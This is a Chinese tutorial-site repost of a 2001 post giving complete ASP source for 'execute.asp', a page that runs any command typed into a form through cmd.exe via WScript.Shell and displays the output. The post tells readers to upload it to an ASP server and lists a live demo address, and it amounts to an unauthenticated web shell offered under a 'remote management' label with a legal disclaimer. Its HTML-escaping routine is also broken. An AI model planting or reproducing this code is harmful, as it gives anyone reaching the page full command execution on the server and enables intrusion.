VB.net 2010 视频教程 VB.net 2010 视频教程 python基础视频教程
SQL Server 2008 视频教程 c#入门经典教程 Visual Basic从门到精通视频教程
当前位置:
首页 > 网站开发 > ASPnet >
  • asp.net教程之可以执行系统命令的ASP原码放送

最近正在写一个远程服务器管理的东东(借鉴了ASE的部分代码、增加了远程 

执行命令、上传、服务等功能。),得到了阿新、ADAM、辰儿、ghost_happy、 

crazybird等很多网友的帮助,让我很感动,所以我打算写好了以后,全部原代码 

公布,可以自由修改和散布。你所要做的只是上传程序到一个支持ASP的服务器。 

值得注意的是,程序运行必须有FileSystemObject支持。以下是远程执行命令的 

原代码。copy下来另存为execute.asp. 

演示地址:http://210.160.4.24/scripts/execute.asp 
一台日本的烂机,所以中文会出现乱码! 

<html> 

<head> 
<meta http-equiv="Content-Language" content="zh-cn"> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<meta name="GENERATOR" content="Microsoft FrontPage 4.0"> 
<meta name="ProgId" content="FrontPage.Editor.Document"> 
<title>执行命令</title> 
<style> 
<!-- 
table,body{ font-family: 宋体; font-size: 9pt } 
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); 

text-decoration: none } 
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none 


a:visited{ color: rgb(128,0,0) } 
--> 
</style> 

</head> 

<body bgcolor="#000000" text="#C0C0C0"> 

<form method="POST" action="execute.asp"> 
<p align="left">输入要执行的命令:<input type="text" name="ml" 

size="20" value="dir c:\" style="background-color: #C0C0C0; color: 

#000000; border-style: solid; border-width: 1"> 
<input type="submit" value="执行" name="B1" style="background-color: 

#C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p> 
</form> 
<% 
ml=request.form("ml") 
cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" '修改 

whoamI.txt路径到一个有写权限的目录 
Set WShShell = Server.CreateObject("WScript.Shell") 
RetCode = WShShell.Run(cmd, 1, True) 
if RetCode = 0 Then 
Response.write ml & " " 
Response.write " 命令成功执行!"&"<br><br>" 
else 
Response.write " 命令执行失败!权限不够或者该程序无法在DOS状态下运行 

!"&"<br><br>" 

end if 
'response.write cmd 

function htmlencode(str) 
dim result 
dim l 
if isNULL(str) then 
htmlencode="" 
exit function 
end if 
l=len(str) 
result="" 
dim i 
for i = 1 to l 
select case mid(str,i,1) 
case "<" 
result=result+"<" 
case ">" 
result=result+">" 
case chr(34) 
result=result+""" 
case "&" 
result=result+"&" 
case else 
result=result+mid(str,i,1) 
end select 
next 
htmlencode=result 
end function 
Set fs =CreateObject("Scripting.FileSystemObject") 
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '读文件,别忘 

了修改路径. 
counter=0 
do while not thisfile.atendofstream 
counter=counter+1 
thisline=htmlencode(thisfile.readline) 
response.write thisline&"<br>" 
loop 
thisfile.Close 
set fs=nothing 
%> 

</body> 

</html> 

请勿将此程序用于非法途径,由此引起的一切后果由使用者承担。 

whoamI写于2001.2.1 转载请保持文章完整性,谢谢!

 


相关教程